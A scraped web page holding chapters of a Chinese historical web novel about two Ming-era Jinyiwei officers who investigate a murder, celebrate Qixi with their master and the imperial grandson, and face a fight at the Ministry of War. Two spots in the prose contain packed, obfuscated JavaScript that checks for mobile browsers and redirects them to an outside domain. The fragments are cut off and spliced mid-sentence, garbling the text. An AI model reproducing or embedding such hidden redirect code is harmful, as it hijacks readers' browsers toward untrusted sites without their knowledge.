拓跋锋提那石锤上前,老板娘是个寡妇,见拓跋锋这等英朗侍卫,忙将其迎进店内。 云起随处逛了逛,见巷子口坐着个老人,老人抱个大木匣,面前坐了五六名孩童,不禁好奇心起,便踱上前去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472484|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那老人怀里箱子,乃是沿丝绸之路传来的新奇物事,名唤“西洋镜”。盒中置以彩图,以手拉扯,透着镜看去五彩缤纷,配以绘声绘色的解说,却是讲述牛郎织女之事。 “……后来王母娘娘把那牛郎、织女分隔银河两岸。”老人笑着朝孩童们道:“到七夕那晚上,喜鹊搭桥……” 故事不知听过多少次,西洋镜却是见得少,云起被木匣吸引住,只微笑不语,拓跋锋问完事,从玉店内转出,双手拿着从店内买的两枚玉佩。 玉佩分“麒、麟”二型,分为两半,彼此嵌合,各有挂绳,正是男子腰坠。拓跋锋手里不住掂量,眼里却看着云起。 云起嘴角微翘,看西洋镜看得不亦乐乎,拓跋锋看云起却也看得出了神。 少顷云起转过头,拓跋锋吓了一跳,忙不迭地把玉佩收进怀里。 云起道:“买什么东西?” 拓跋锋道:“没有,问出来了。” 说着拓跋锋抬手捏了捏自己耳朵,把耳朵捏扁,又放直。 云起莫名其妙道;“问出何事?” 拓跋锋与云起并肩走出小巷,认真道:“你虽聪明,却不懂揣测圣意。” 云起啼笑皆非道:“是是是,你最懂圣意。” 拓跋锋自嘲道:“狗的嗅觉原比人要灵敏些。皇上让我来查案,定有深意,当不会是一场仇杀如此简单。” 云起嗤之以鼻,侧头打量拓跋锋片刻,道:“收钱了?这黑锅想朝谁头上扣,说罢,我帮你造个伪证来得轻松,也免得到处乱跑。” 拓跋锋怒道:“莫乱说话!我从不收贿。” 云起“哟”了一声,道:“上回谁拿了言官三两银子……” 拓跋锋道:“说没拿你信不?不过是看他家小可怜,在大院外巴巴跪了两个时辰。” 云起道:“那你怎说……” 拓跋锋道:“不说收了钱你会手下留情?” “没收钱?枕头下碎银子哪来的?” “官禄。” 这下云起尴尬了,脸上青一阵白一阵,咬牙切齿,在拓跋锋背后不住做鬼脸,少顷二人到了京城户部,无人敢拦,门卫忙去通报尚书。 拓跋锋进了大厅,让云起在尚书大椅上坐定,拾了支笔,朝门口铜锣甩去,“当”的一声。 “锦衣卫指挥正使拓跋锋,副使徐云起查案!”拓跋锋朗声道。 户部上下人等登时骇得不轻,上到尚书,下到主事,近百人蜂拥而出,黑压压于厅外跪了一地。 户部尚书张远两脚打颤,不知何事招来了锦衣卫,仿佛见到白骨成山,血流如海的诏狱在朝自己招手,一个站立不稳,索性也跟着跪下。 “两位……大人,所来何事?” 云起笑道:“各位大人请起,无须行此大礼的嘛。” 拓跋锋道:“城外李家村户籍本子拿来,查个人。” 张远拣回一条命,亲自以百米短跑之速冲进典籍室,又冲了回来,双手捧着户籍本恭恭敬敬呈上。 云起漫不经心翻了翻,道:“今儿过节么?” 拓跋锋对尚书视而不见,答道:“七夕,夜里去吃点什么?” 张远忙笑道:“七夕节,小的家里设席,两位大人查完案,可愿赏脸到家中喝杯水酒……” 云起道:“去师父那儿罢。” 拓跋锋点了点头。 张远当着上百部属的面讨了个没趣,然而脸皮厚比宫墙,赔笑道:“那是自然,正副使乃是蒋大人得意门生……” 张远赞叹道:“尊师重教,念旧呐!” 云起拍马屁的话平素也不知听了多少,只作耳边风,翻到名簿最后一页,蹙眉道:“没有?” 拓跋锋伸手去取名簿。 云起一手按着,道:“不用看了,没有王虎这人。”继而陷入沉思中。 张远讶道:“好本事!李家村二十五年,上千人名,徐大人这么一翻,便过目不忘……” 地下站着那数百户部官员纷纷交头接耳,齐声赞叹。 “闭嘴!”云起与拓跋锋不约而同斥道。 众官员噤若寒蝉。 云起眯起双眼,脑中飞速思考,此刻他终于发现不妥了。 等了许久,不听云起吭声,拓跋锋心有灵犀,朝张远道:“去将京城名簿取来。” 云起拍案而起道:“拓跋锋!洪武建朝二十五年,近五百万个名字,你要老子呕血而亡吗?!” 4. 为老不尊 小乖乖——哪里跑——” 蒋瓛(huan)正与数名小妾捉迷藏,上任锦衣卫正使,权倾朝野的老不修以一块黑布蒙眼,在花园中跑到西,又跑到东。 三名小妾闪来避去,咯咯娇笑:“来抓我呀——来抓我——” 蒋瓛嗷嗷大叫,脸上皱纹如绽放的鲜花。 蒋瓛凌空一个鱼跃,搂住一人的腰,哈哈大笑:“抓住喽,小乖乖,香一个!” 蒋瓛忽觉不妥,臂中抱着那人掂了掂,甚重。侧过头,表情十分狐疑,探手摸了摸前胸,平板;蒋瓛吓得不轻,扯下眼罩,一张清秀的脸映入眼帘。 云起顺势倚在蒋瓛怀中,面无表情道:“师父,好久不见。” “哈哈哈!”云起笑得气喘,忙躬身远远逃开。 “小兔崽子!做什么来了!过节也不让师父清静!”蒋瓛吹胡子瞪眼道。 拓跋锋瞬间破功,扑哧一声笑了起来,道:“过节来看你。” 蒋瓛为老不尊那模样被俩徒儿撞破,煞是尴尬,老脸一红,瓮声瓮气道:“现看过了,你俩凑一对,自寻快活去,莫指望坑我老人家一顿吃。” 说归说,蒋瓛仍是吩咐府内下人摆了筵席,掌灯时招呼拓跋锋与云起入座。 “师娘好。” 拓跋锋与云起起身致礼,姗姗而来的蒋瓛夫人忙笑着让座,道:“到底是徒儿们有心。” 蒋夫人为二人斟了酒,笑道:“状元红后劲甚大,云起瞧着点儿,莫让你师父多喝了。”说毕便离席,留蒋瓛、徐云起与拓跋锋三师徒自斟自饮。 “唔——”蒋瓛点了点头,拓跋锋端酒道:“近半年未曾来了,敬师父一杯。” 蒋瓛道:“罢了,七夕节,你二人跟我一老头子客气甚,来来,喝就是。” 云起笑道:“师父,我待会回去还得查案,喝不得酒,以茶代一杯。” 蒋瓛不问是何案,瞪着云起道:“查什么案,过节不喝酒,还有这等道理?” 拓跋锋忙道:“我替云起喝。” 蒋瓛这才作罢,道:“那锋儿替他喝了。” 蒋瓛干了杯,“啊”的一声,打个激灵,道:“你二人新官上任,做得如何?” 拓跋锋想了想,将那朝廷中事说了个大概,交代到方孝孺一事,蒋瓛有所触动,道:“此事云儿做得是,方家乃是读书人的种子,不可太狠呐,来,喝。” 拓跋锋与蒋瓛推杯换盏,拓跋锋来一杯,喝两杯,不多时状元红便去了一大坛,终于不胜酒力,昏昏沉沉醉倒。 蒋瓛却是喝得红光满面,正酣时见大徒儿不胜酒力,又拍腿狠嘲了一番,方放过拓跋锋。 席终,蒋瓛进了书房,睁着一双微醉的眼,问道:“查的何案?” 云起莞尔道:“师父原是想……先将师兄灌醉了再问不成?” 蒋瓛挥了挥手,道:“那截木头听了也是白听,灌醉了省事。” 云起笑着把今日所查之事认真道来,并未遗漏丝毫细节,就连巷内悍妇驱夫之事亦老实交代。 蒋瓛闭上眼听了个大概,坐于木椅上微微摇晃,道:“户部无那人名头?” “是。”云起恭敬道:“夜里我本想与师兄再去李家村查一次,但师兄醉得不成样子……” 蒋瓛点了点头,道:“唔,你自个去不得。” 蒋瓛捋须道:“皇上派的案子……其中定有蹊跷,你聪明一世,糊涂一时,险些便把此案结了。” 云起躬身道:“幸好师兄知道轻重,锦衣卫的担子落我一人身上,原是不成。” 蒋瓛道:“以你二人性子,正值互嵌互补,你这人太也自大,离不得锋儿一时三刻。” 云起线索断了,只想来请教蒋瓛,不料又被数落一顿,只得尴尬道:“师父说得是,师父英明。” 蒋瓛满意道:“这是自然,否则为师如何举你任副使一职?” 云起笑着拢袖,不再吭声。 蒋瓛理清来龙去脉,道:“挥锤之人,是一击毙命,还是数锤击破死者脑壳?” 云起心头登时一凛,犹如拨得雾开见月明,答道:“一击毙命!” 蒋瓛微笑道;“膂力高强,准头无误。可能曾是兵勇,亦有可能是石匠,铁匠。” 云起点头道:“对,石铁匠惯于抡锤。” 蒋瓛慢条斯理道:“伤势如何?可看得出是横击,侧击还是……” 云起恍然大悟道:“伤在后脑勺,而非头顶!” 蒋瓛呵呵笑道:“既是如此,当不会是匠人,铁匠石匠用锤时俱是由上至下……唯一的可能是……” 云起热泪盈眶,激动道:“当兵的!王虎定是当兵的!师父你太英明了!我去兵部查名册!” 蒋瓛道:“慢。城中成制军如此多,人名如海,你如何查?” 云起道:“多花点时辰也就……” 蒋瓛眯起眼,道:“还是这般冒失?” 云起茫然不解,蒋瓛却道:“明日你再去兵部,从数年前在外征战,近年还京之军查起如何?” 云起感觉到了危险的气氛,点了点头,蒋瓛道:“去罢,若是为师猜得不错,此案定是大案。” 云起自知再问亦无法问出什么来,此刻对蒋瓛这老不修再次佩服得五体投地,撩起前襟跪下,磕了个头,便即告退。 拓跋锋喝得烂醉,鼻梁在云起脖颈上蹭来蹭去,脚步东一踩,西一岔,一臂搭着云起肩膀,踉跄着走向皇宫。 “老头子偏心……”拓跋锋不满道,继而发起酒疯,平地一个斜斜站定,耍了式醉拳,喊道:“老头子偏心!” 云起笑得肚疼,安慰道:“老头子疼我便是疼你,一样的道理……你还吃师弟的醋了?” “嗯……”拓跋锋点了点头,扒在云起身上,让他拖着回去。 拓跋锋满身酒气,又碎碎念道:“摸师兄耳朵……” “?”云起莫名其妙。 拓跋锋摇摇晃晃,抓了云起的手,去捏自己耳朵,又捏了捏云起耳朵,道:“软不软……” “……” 云起哭笑不得,点头道:“软,软耳朵。” 两人跌跌撞撞,回了大院,云起方舒了口气,道:“吃饭不干活的,来接你们正使!” 七夕纳凉之夜,银汉横亘于天,流萤四散于地。 锦衣卫们俱歇了班,数十名小伙子各自坐在大院中,三五成群,吵吵闹闹,人手一把扑荧扇,彼此喧哗,聊得不亦乐乎,正是“轻罗小扇扑流萤,卧看牵牛织女星”的夏夜光景。 众侍卫一见云起与拓跋锋归家,俱忍不住齐齐哄笑,上前来接。 “累死老子了。”云起吩咐道:“搭俩椅子一处,让他在外面躺一会儿,灌了风好醒酒,别搬上床闷着,仔细闷吐了。” “上哪去了?喝得烂醉,也不给弟兄们带两坛回来。”一锦衣卫拍了拍青罗扇,甩手旋给云起,云起抬手接了,脱去外袍,只不住抖那薄衣,扇凉捐风,道:“嗨!老头子家的酒喝不得,多亏老跋挡了几杯,不然今儿晚上别想回来。” 众侍卫又是一阵揶揄,云起自坐了张椅,让拓跋锋坐在自己身旁,拓跋锋嘴唇,鼻梁不住磨蹭,被云起拍了一耳刮子,脑袋便耷拉下去,枕在云起大腿上,咕哝几句突厥语,闭上双眼。 院中到处都是乘凉的竹椅,又有矮竹茶几上摆着夏季瓜果,偌大一个院内无灯无烛,锦衣卫们以竹篾,薄宣糊了无数小笼,抓了萤火虫困着,四处俱是飞舞荧火,照得满园通明。 是时萤火缭绕于拓跋锋脸畔,拓跋锋睡得正酣,被乱星般的瑶光映着英俊面容,云起一扇拍去,暗光四旋。 借着那微弱光点,云起看清扇上两行题诗,笑念道:“迢迢牵牛星,皎皎河汉女……” “张勤,你未过门那小媳妇儿制的扇?这女孩儿字倒是挺美。” 那名唤张勤的锦衣卫只笑不答,打趣道:“盈盈一水间……” “……脉脉不得语。”云起会心一笑道,看着院内侍卫们,心想七夕之夜,皇城中俱是成双成对,一群英俊小伙在此聚首不得人知,放出宫去不知得闹出多少女儿愁,女儿乐来。 偏生锦衣卫又不得乱走,进了宫,便得规矩呆着,应了那牛郎织女,天各一方之景,也真是造孽。 夏风习习吹过,梧桐树下萤光飘飞,直看得云起心旷神怡: “今年七夕过得舒坦,也不下雨。有啥果子吃的来点?乐啥,对打油诗呢你们?” 荣庆笑着挽了袖子,于屋檐下翻拣,埋头道;“今儿有人封了好礼进宫,只备下两份,一份呈皇上,一份便送咱这大院里来了……” 云起笑道:“我没听错罢,谁家公子爷这么大派头?” 荣庆拾掇半晌,端了个玉碗过来,放在云起手旁茶几上。碗内盛了半碗冰,冰上堆满晶莹果肉。 云起惊道:“荔枝?!” 荣庆道:“你那王爷姐夫,傍晚着人送了二十筐,我见你与老跋没回,便自做主,分与弟兄们先吃了,只留得两筐。” 云起唏嘘道:“吃就是,都托我的口福啊,惦记着。” 众侍卫哄笑道:“那是自然。” 云起馋虫起了,也不顾洗手,便去抓了来吃,拓跋锋抽了抽鼻子,醒了。 拓跋锋迷迷糊糊道:“也给师兄吃点,什么果子?” “狗鼻子咋这般灵呢?”云起笑道,随手喂了几颗给拓跋锋,又吩咐道:“荣庆,你现封一筐,外面寻个小太监,捧了给皇孙送去。” 荣庆道:“仁德殿遣人来寻你一晚上了,三番五次打听着,你约了皇孙不曾?” 云起答道:“没约,那待会有人来了,再顺路捎去就是。来来!都凑过来,一同乐呵。” 侍卫们笑着搬了竹椅,围到一处,众人或吃水果,或饮清茶,闲聊数句,荣庆攀了枝木芙蓉,道:“传花玩,到谁手里,须得应个景,说说那小时候青梅竹马的事,成不?” 侍卫们纷纷叫好,便设了闹席,拍起竹几,花在少年郎手中传来传去。 停在手中时,那得了花的侍卫,便饶有趣味讲述起少年情事,时而引得众人轰笑,喝彩,时而博得几声唏嘘。 锦衣卫选的俱是官家少爷、将门子弟;十三岁入蒋瓛麾下,习武四至五年。 当朝十三少年大有谈婚论嫁之辈,对情之一道,亦是早窥。谈来谈去,无非是哪家的小姐知书识礼,善吟诗作对,通古博今之事。 又有人言女子无才便是德,女红刺绣之巧方是正经,于是被五六人运足内力,纸扇拍来拍去,成一滚球。 少顷那花传到云起手中,声便停了。 云起道:“我自小便是孤儿,送进宫里来呆着,哪有甚青梅竹马……莫趁机作弄老子,换人换人!” 众人大声喧哗不依,又有人道:“老跋呢?你二人坐在一处,让他说让他说。” 拓跋锋醉醺醺道:“嗯……竹马成双。” 云起挥扇赶人道:“没醒酒呢,休要听他胡诌。” 众侍卫笑个不停,云 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皇孙到锦衣卫院中来尚是头一遭,众侍卫慌忙起身见礼,各自回房换飞鱼服,云起却笑道:“不妨,大伙自寻方便就是,不须换衣服了。”又朝朱允炆道:“身上挂着个大秤砣,就不起来行礼了,料想皇孙也是不见怪的。” 朱允炆笑了起来,将琉璃盏交予贴身太监,吩咐其退了出去,一抖前襟在椅上坐下,满院锦衣卫告罪散去,纷纷上楼,扒在栏旁,好奇望向院中,不知皇孙前来作何事。 朱允炆展开折扇随手摇了摇,道:“云哥儿杖伤好点了么?”正说话间,却与枕在云起腿上的拓跋锋双眼对上,只觉那目光中有股野兽的暴戾之气,竟是不由自主打了个寒颤。 拓跋锋闭上眼,漠然道;“皇孙费心,锋已治妥当了。” 云起道:“今夜出宫玩了?”说着端了瓷碗递过,道:“燕王送的荔枝,待会教人捧了你带回仁德殿吃去,这有冰镇的先用着…” 话未完,朱允炆却是小孩心性,欢呼一声道:“荔枝!”遂也不在意那吃剩的荔枝,接过来便朝嘴里送。 云起啼笑皆非,心想朱棣满皇宫只送了两处,也实在是给足了自己面子。 朱允炆边吃边道:“不让出宫,来此处也是瞒着太傅,正有话对你说,云哥儿。” 云起只笑不语,拓跋锋冷哼一声。 朱允炆未察觉,笑道:“记得前年七夕不?” 云起笑答道:“自然记得,你闷得无趣,要出宫玩,扮了个小太监,我肩膀抗着你,从御花园那处爬了出去……被宫门守卫追了半个南京……” 朱允炆目中颇有笑意,道:“你骑马带着我。” 云起道:“嗯,本忠狗骑术了得,把他们绕得晕了头,怎突然想起这事?” 朱允炆笑了笑,将那空瓷碗放到一旁,道:“忽然不知怎么的,就想起来了,还有六岁时,被七堂哥揍的一次呢?” 云起道:“哪叫被揍,明着是揍人。” 朱允炆笑得前仰后合,道:“你在御花园里给我掏了只蛐蛐,我拿着去寻七堂哥斗,七堂哥那人烂赌品,输了赖账,还把我的蛐蛐给踩死了。” 云起想了想,接口道:“你便与他打将起来,一人打不过,我应声来助拳,他扯上你,你又扯上我,他又唤了贴身的小厮们扯来扯去……越打越多,滚雪球般闹个没了,最后十来个人,俱被罚足一晌午的跪。还是我姐说的情,皇上才饶了。” 朱允炆会心一笑道:“正是。” 院内二楼高处,红栏后围了不少侍卫,三三两两倚栏交谈,却都是心不在焉,竖着耳朵听着院内云起与皇孙的八卦事。 朱允炆扫了一眼,亦有点尴尬,便收了折扇。 云起见其要走,便吩咐道:“荣庆!取荔枝来,送皇孙回去!” 朱允炆忙摆手道:“不劳烦大哥们了,交予门外那小太监,我自回去就是。” 云起答道:“成,秤砣还挂身上呢,不送你了,竹几上虫灯提一盏去,夜间挂帐子里看着玩罢。” 朱允炆去提那灯,转身时静了片刻,云起道:“我倒是忘了,你巴巴跑来,有啥乐事说与我听?” 朱允炆像是犹豫半晌,而后答道:“云哥儿,待我来日当了皇帝,定不会亏待于你。” 瞬间满院俱静,交头接耳的侍卫们噤声,屏息望向院中云起与朱允炆。 云起背上满是冷汗,低声道:“允炆……储君还未立,不管你听别人说了什么,此话切记不可乱说,你的情分,我心里念着就是。” 云起想了想,又道:“皇上是否立你为储,此事本无关你我之情,莫太在意旁的事。” 朱允炆笑着转身,手里提着萤火虫灯,道:“成,我知道了,你早点歇息。” 云起神色凝重地点了点头,待得朱允炆走后,拓跋锋方冷笑数声爬起,摇摇晃晃地一脚踹开门,扑回自己房内,侍卫皆散,一夜无话。 翌日清晨,云起醒得早,推门出院那时,见院中站了一地人。 除六名值班侍卫外,四十二名锦衣卫竟是全数到场。 云起一头雾水道:“怎么着?要群殴不成?” 荣庆笑道:“打赏打赏!云哥儿!将你私房钱取来散予弟兄们罢,留着也无用了。” 荣庆抱拳,作揖,四十一名锦衣卫齐齐躬身。 荣庆道:“恭喜副使,今日早朝,皇上册立皇太孙为储君,诏告天下!” 5. 兵部斗殴 拓跋锋大清早便出宫,不知去了何处。 云起吃过早饭,身上伤势未尽痊,值班自轮不到他,于是百无聊赖,做做活动,帮助消化——数钱。 一五一十……十五二十……数来数去,云起柜内已有八十两银子,数完自己的,不太满足,开始数拓跋锋的存款。 “喏,给你。”小拓跋锋被打得鼻青脸肿,掏出一个装了银钱的口袋,塞到小云起手里。 小云起担忧地问道:“痛么?” 小拓跋锋得意地笑了笑,道:“这下看谁还敢赌输混赖。” 小云起扑哧一声笑了起来,挠了挠头道:“你忍着痛,我去把钱藏好。” 正副使的钱财锁在一处,云起也忘了是何时的规矩。 红漆柜只配一把钥匙,平日由云起收着。每月发俸时,拓跋锋领到钱,交给云起,云起再把钱锁进柜内,分开两边放好。 一五……拓跋锋只有四两银子,云起哭笑不得,将自己的私房钱匀了点过去,方锁上柜门。 “真没收贿?”云起自言自语道。 他蹲在柜前想了想,朝窗外张望一眼,开始翻检拓跋锋衣物。动作轻脚迅手,显是做贼已久,什么东西放在何位,云起熟得不能再熟。 窃笑着翻了半天,床尾折得整整齐齐的飞鱼服下,“当啷”一声掉出两枚青色玉佩。 云起蹙眉,捡起那玉佩,把它们并在一处。 麒、麟二兽,翘首依偎,牢牢嵌合,翻过背面,各刻三字: 天不老,情难绝。 “谁家姑娘送的?”云起低声道。 无数场景在脑中飞速倒退,最终定格于小巷内,玉店门口,巧笑如花的老板娘。 云起微有点惆怅,要将玉佩塞回去,忽又改变了主意,遂打开红漆柜,把它扔进柜内最深处,发出一声脆响,继而砰地摔上柜门,恹恹走到廊前坐下。 十岁的小拓跋锋刚与成年侍卫们打过一场烂架,拖着鼻血,却似是十分舒坦。 小拓跋锋一脚屈起,架在井栏上。两手将小云起抱在身前。 小云起晃当晃当,骑于他另一只大腿上,仔细检视他脸上的淤青,朝一片青梧叶上舔了舔,反手“啪”的一声,将树叶贴上小拓跋锋的熊猫眼。 “哎哟!轻点!”小拓跋锋怒道。 小云起哈哈地笑了起来,道:“刚那会可担心死我了,师哥真能打。” 小拓跋锋淡淡地“嗯”了一声。 小云起道:“下次打不过得跑啊,别管我了。被打死一个,总比死俩的好。” 小拓跋锋不置可否,而后漠然道:“相依为命,死不了你。” “麻烦了!” 云起叹了口气,一阵惶急的大喊把他从回忆中惊醒。 荣庆匆忙奔进院里,吼道:“老跋与人打起来了,快喊弟兄们去照应着!” 荣庆一喊惊动了院中侍卫,众人纷纷出房,各个捋袖吼道:“那还得了!老虎头上拍苍蝇,谁敢打锦衣卫!?” 登时便有人回房去提刀,要跟着荣庆云起前去找晦气。 云起道:“怎么了?先说清楚!” 荣庆气喘吁吁道:“老跋清早出了宫,带着张勤去兵部查个名儿。” 云起一听便知,兵部官吏见锦衣卫是得恭敬侍候着,然而往来兵部之人,却大都各个手握兵权,更有不少是上过沙场,见过杀戮的军人,平日本就与锦衣卫互看不顺眼。 拓跋锋该是踢到铁板了。 云起忙回房换衣,啼笑皆非道:“怎不喊我就去了?昨夜与他说那会还半睡半醒……原是装醉来着。” 荣庆急得很,道:“你还笑!兵部半点不通融,张勤那臭脾气倔得很,一来二去,吵得拉不开,便打起来了。老跋护着张勤,让他回宫里来找人……” 荣庆取来绣春刀,云起却道:“不带刀,我自去就是。” 荣庆见云起有主意,便不再坚持,云起匆匆走出院中,见站了一地人,吩咐道:“你们都回去。”又问荣庆:“张勤性子爆,老跋怎也不劝着?” 荣庆道:“说甚突厥野……” 云起道:“打住,明白了。骂老跋那厮唤何名?” 荣庆打了个寒颤,道:“许慕达。” 云起点了点头,认真吩咐道:“除今儿当值,谁都不许离了院里。待会我俩回家见谁不在,棍棒伺候,明白么?” 旋不待侍卫们应答,便匆匆走了。 云起边朝兵部门口赶,边暗叹时运不济,飞来横祸;拓跋锋昨夜似是心情不佳,清早未唤云起,便随点了张勤陪同,二人前去兵部查人。 张勤乃是官家子弟,入锦衣卫已久,平素纵是独自出宫亦横着走,此刻有拓跋锋领着,狗仗狼势,更是肆无忌惮。 事实证明,横着走不是个好习惯,尤其容易撞墙,比如说这一次。 那率先还手之人名唤许慕达,本是镇守边防远将,年前才换了防归京,正闲闲无事做,隔三岔五到兵部磨嘴皮子,想谋个好差事,消息不灵,未知锦衣卫跋扈。 偏生当日兵部尚书迟来半时辰,左侍郎便坐于厅内,许慕达喝茶闲聊,正唏嘘朝中鹰犬之祸时,鹰犬头头就来了。 拓跋锋一至,侍郎便即噤声,言道兵部书卷乃是枢密,须由尚书亲笔写了条子,方可调阅。遂先招呼拓跋锋与张勤稍候片刻。 成日只听官员恭候锦衣卫,哪有锦衣卫等人的道理? 许慕达常年戍守边疆,颇瞧不起锦衣卫,带兵之人悍气十足,言语间又夹枪带棒,冷嘲热讽。 张勤听在耳旁,一言不合,吵将起来。 拓跋锋只冷冷旁观,不作回应。 许慕达不知其小命已丢去半条,只以为拓跋锋胆小怕事,愈发恶毒,直嘲至新听来的突厥野狗一词,那左侍郎瞬间色变。张勤已怒不可遏,操起椅子便要打。 于是大到侍郎,小到主事忙纷纷上前拉架,然而兵部官员大都在军中服过役,又俱痛恨锦衣卫一职,各个拉起偏架。 不多时,局势演变为数十人群殴张勤与拓跋锋两人。 许慕达尚不觉借刀杀人之计,只逾发嚣张起来。拓跋锋见势头不好,忙护着张勤退出兵部,令其前去讨援兵。 云起打了个呵欠,见拓跋锋立于兵部大门外,道:“没伤着罢。” 拓跋锋静得可怕,一句话也不说,眼中神色阴冷。一手握着拳,不住颤抖。 云起只见过拓跋锋流露出两次这种目光,心中一凛,知其极力忍耐,几乎要抽刀进去杀人。忙上前握着拓跋锋的手,并肩进了兵部。 云起微笑垂首,站于兵部大门,依足礼数,请门房前去通报。 “许大人威武!” “许大人不惧鹰犬,胆气可嘉!” 兵部官员们真挚无比,齐声赞叹,拇指成林,泪光如海,众星拱月般将许慕达供在中间。 所有人的想法如出一辙——趁着此人即将被凌迟碎剐,诛灭九族前多看几眼,来日也可与子孙炫耀。 许慕达前一刻驱走恶狗,得意洋洋,博了个满堂彩,不住谦让时……忽听门房来报,锦衣卫指挥副使徐云起来访。 刚赶走一只,又来一只?! 许慕达猖狂道:“各位大人在此稍候,许某一人做事一人当,这就与鹰犬前去面觐皇上,将理说开,出一口恶气!” 众官员诺诺,许慕达捋了袖子便匆匆出厅去。 众官交头接耳,议论纷纷,一主事忽觉不对,道:“徐云起……可是天德将军送进宫里……当差的小公子,燕王的内弟?” 厅中肃静,片刻后左侍郎惨叫一声:“不好!快将许大人拉回来!” 徐云起:徐达儿子,燕王朱棣小舅子,当朝太子朱允炆宠物狗,锦衣卫副使。 全南京只要是个官,就知徐云起为朱允炆背了多少黑锅,挨了多少罚,今日早朝皇上才诏告天下,立皇孙为储,徐云起若是在兵部里掉了根冷艳高贵的羽毛,大家只怕就得抱着一起死了!!! 话说许慕达趾高气昂地冲出,背后跟了一群扯胳膊拉腿,苦苦哀求的兵部官员,云起对许慕达视而不见,拱手,谦笑道:“各位叔伯前辈好。” 许慕达愣住了,众人忙迎出厅外,道:“徐世侄……哎呀徐世侄……” 拓跋锋冷哼一声。 “拓拔大人……哎呀拓拔大人……” 众官又上前忙不迭地朝拓跋锋赔罪,云起拱手为礼,翩翩然入内,笑道:“好久未曾来兵部了,上回来还是三岁那时……摆设也没变么?” 那话自是信口胡诌,三岁小孩儿记得什么了,许慕达反被晾在一旁,眼睁睁看着云起与拓跋锋被簇进厅内,实在想不通为何人情冷暖,官爷们何以在一瞬间都变了脸? 许慕达不知云起何许人也,一口气出不来,正要撩事时,云起与拓跋锋坐定,便听兵部门房大声通报:“尚书大人到——!” 云起刚坐下忙又起身来迎,只见尚书齐廓岩与一人携手进了兵部,齐廓岩一见飞鱼服,登时心内先打了个寒颤,每日上朝,自认得徐云起,忙道: “未知徐世侄早候于此,廓岩今日来迟,还请恕罪则个。” 云起只道:“不妨,不过是查件小事。”一面笑着让座,目光却驻于齐廓岩身后那人脸上。 与兵部尚书同来之人,正是蓝玉。 蓝玉乃是朱元璋麾下一员猛将,开平王常遇春内弟,论领军之能,除徐达,常遇春外明代开国大将无人出其右,数年前更于捕鱼儿海大败北元残军。 蓝玉一生在外征战多年,军功甚厚,朱元璋以“卫青”“李靖”比之,可见此人待遇之隆。 云起在蓝玉面前不敢造次,规矩执后辈礼道:“徐云起见过蓝叔。” 排起辈分,蓝玉与徐达同辈,云起唤一声叔并非谄媚,蓝玉见云起几分面熟,爽朗大笑道:“原是徐家小子!一身锦衣华服,本将军险些便认不出了!” 云起一扫众人,见许慕达早已不知所踪,料想是见风头不对撤了,心想跑得了和尚跑不了庙,日后再寻他晦气不迟,遂说明来意,道:“想借兵籍簿查几个人名。” 众官为许慕达默哀三十秒后各自散去,齐廓岩颇为难道:“徐世侄,不瞒你说,京中兵籍簿要调阅可以;然而调防手札,名表等物,无圣上御旨,锦衣卫却是看不得。” 云起心中一凛,从而联想到蒋瓛所言,莫非还京换防之军真有猫腻?若当真如此,蓝玉在侧,要查起来便真是麻烦了。 不料蓝玉却道:“哎,这是哪里话!廓岩去将四军名表拿来,让徐世侄拿回去翻看便是。” 尚书吓得面如土色,蓝玉大声道:“锦衣卫公干,自是奉了皇上御旨,有何不可?毒日头下,又要世侄回宫跑一趟,于心何安?!” 云起这下更是疑惑,观齐廓岩与蓝玉二人,却实在不像串通作伪,只觉云里雾里,想不通蹊跷。 一直缄默的拓跋锋开口道:“无须带回去,在此借阅一两个时辰便可。” 蓝玉眯起眼,来回打量拓跋锋,道:“你是蒋瓛大徒弟?” 拓跋锋微一颔首,与蓝玉对视。 蓝玉虽是粗人,服饰却极为考究,一身黑蟒绣服更衬得这虎背熊腰的猛将英伟不凡。 武官多是浓眉朗目,眼中流露出习武之人的明亮真气,隐隐是一介武功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拓跋锋答道:“我是突厥人。当年燕王远征,北元人仓皇撤离,屠尽我部众,燕王寻得我……” 云起微一诧异,将手按在名册上,手指恰恰点着一处,转头笑道:“你是我姐夫抱回来的?” 拓跋锋与云起视线一触即分,偏离了极小的一个角度,落在一个人名上,拓跋锋点了点头。 云起挠了挠头,把名册翻回封面,笑道:“我倒是从未听你说过。” 拓跋锋看清封面那领军人之名,赫然正是蓝玉。 云起接着翻了下去,正要寻话来说,蓝玉又道:“何事劳动正副指挥使亲自来查?” 拓跋锋漠然道:“凶杀。” 蓝玉似懂非懂地点了点头,后道:“军中成日私殴私斗,死的多了去,若都似你这般查,只不知要查到何日方作罢。” 这话也说得的? 云起心中哭笑不得,看来这大将军确是毫无心计,只得尴尬道:“如今是太平年代,蓝叔说笑了。” 蓝玉大大咧咧道:“嘿,太平年代,太平得一时,便将你蓝叔我调回京城关着……” 云起峻容道:“蓝世叔!” 拓跋锋吸了口气。 云起笑道:“姐夫常念着你,上回还听他说来着,空了我在京中设个席?你俩聚聚?当年你带他出征那会儿……” 蓝玉粗声道:“罢了!你姐夫那人我不待见,一肚子坏水!” “……” 云起热脸贴了冷屁股,只想把书狠狠摔在蓝玉身上,拓跋锋忍不住大笑起来,蓝玉跟着呵呵笑了几声,大手一挥,道: “你小子倒是机灵得紧,对我脾气,当年中山王照应得多,奈何早死……” 云起道:“葬在老家钟离。” 蓝玉唏嘘几声后,又道:“得空须去祭祭,你有何事办不成,到七胡同府里来寻蓝叔就是。” 云起点了点头,将最后一本名册规矩放好,又道:“既是如此,便谢过大将军了。” 蓝玉却道:“自徐天德、常遇春死后,本朝再无大将军。” 